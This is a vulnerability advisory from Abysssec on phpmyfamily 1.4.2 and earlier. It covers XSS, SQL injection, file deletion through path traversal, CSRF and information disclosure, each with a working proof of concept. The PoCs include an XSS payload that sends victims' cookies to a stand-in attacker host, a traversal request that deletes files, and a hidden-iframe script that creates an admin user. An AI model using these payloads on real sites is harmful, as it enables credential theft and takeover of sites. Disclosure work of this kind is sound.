Abysssec Research

1) Advisory information

Title	**: phpmyfamily Multiple Remote Vulnerabilities.**
Affected	**: phpmyfamily <= 1.4.2**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.phpmyfamily.net**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- **Information Disclosure**
2- **XSS**
3- **Path Disclosure**
4- **SQL Injection**
5- **Delete File**
6- **XSRF**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying server/database.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1-Information Disclosure:

Directory listing:

+POC:

http://site.com/phpmyfamily/admin/
http://site.com/phpmyfamily/docs/
http://site.com/phpmyfamily/images/
http://site.com/phpmyfamily/inc/
http://site.com/phpmyfamily/lang/
http://site.com/phpmyfamily/styles/

Fix:

Create index.html in all folders.

2-XSS:

Example vulnerable code:

inc/passwdform.inc.php[line41-42]

```
@$reason = $_REQUEST["reason"];
echo "<font color=\"red\">".$reason."</font>";
```

POC:

This poc send victim's cookie(contions username and MD5 password) to attacker site.

```
http://SITE.com/phpmyfamily/inc/passwdform.inc.php?reason=<script>document.write("<img
src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>
```

Other PoC's:

a)census.php[line23-26]

**http://SITE.com/phpmyfamily/census.php?ref=<script>document.write("<img
src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>**
b)mail.php[line 25-35]

http://SITE.com/phpmyfamily/mail.php?referer=<SCRIPT CODE>
c)track.php[line 23-26]

http://SITE.com/phpmyfamily/track.php?person=<SCRIPT CODE>
d)people.php[line]

http://SITE.com/phpmyfamily/people.php?person=1"><sciprt>alert('abysssec')</script>

3-Path Disclosure:

```
http://SITE.com/phpmyfamily/admin.php?func=ged
http://SITE.com/phpmyfamily/inc/gedcom.inc.php
```

4-SQL Injection:

my.php

```
[line 32-33]
$query = "UPDATE ".$tblprefix."users SET email = '".$_POST["pwdEmail"]."' WHERE id =
'".$_SESSION["id"]."'"; $result = mysql_query($query) or die(mysql_error()
```

POC:

```
http://SITE.com/phpmyfamily/my.php?func=email&pwdEmail=bbb@aa.com',edit='Y'%00
        <form method="post" action="my.php?func=email">
        <input type="text" name="pwdEmail" value="bbb@aa.com',edit='Y';%00">
        <input type="submit" value="send">
        </form>
```

Fix:

```
use function quote_smart:
$query = "UPDATE ".$tblprefix."users SET email = '".quote_smart($_POST["pwdEmail"])."' WHERE id =
'".$_SESSION["id"]."'";
```

Others:

```
        track.php[line 145-148]          http://SITE.com/phpmyfamily/track.php
        passthru.php [line 221-220] http://SITE.com/phpmyfamily/passthru.php
        and ...
```

5-Delete File:

CMS's users can delete each file by this Vulnerability.

```
+Code:  passthru.php line[218-219]
        $docFile = "docs/".$_REQUEST["transcript"];
        if (@unlink($docFile) || !file_exists($docFile))
```

POC:

```
http://SITE.com/phpmyfamily/passthru.php?func=delete&area=transcript&person=00002&transcript=../../../file.ext
```

Fix:

```
use function quote_smart:
$docFile = "docs/".quote_smart($_REQUEST["transcript"]);
```

6-XSRF:

Create admin user PoC:

```
<script>
function creat_request(path,parameter,method){
method = method || "post";
var remote_dive = document.createElement('div');
remote_dive.id = 'Div_id';
var style = 'border:0;width:0;height:0;';
remote_dive.innerHTML = "<iframe name='iframename' id='iframeid'
style='"+style+"'></iframe>";
document.body.appendChild(remote_dive);
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "iframename");
for(var key in parameter)
{
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", parameter[key]);
    form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}

creat_request('http://SITE.com/phpmyfamily/admin.php?func=add',{'pwdUser':'aaaa','pwdEmail':'aa
%40sss.com','pwdPwd1':'123','pwdPwd2':'123','pwdEdit':'on','pwdRestricted':'1910-01-
01','pwdStyle':'default','Create':'Submit+Query'});
</script>
```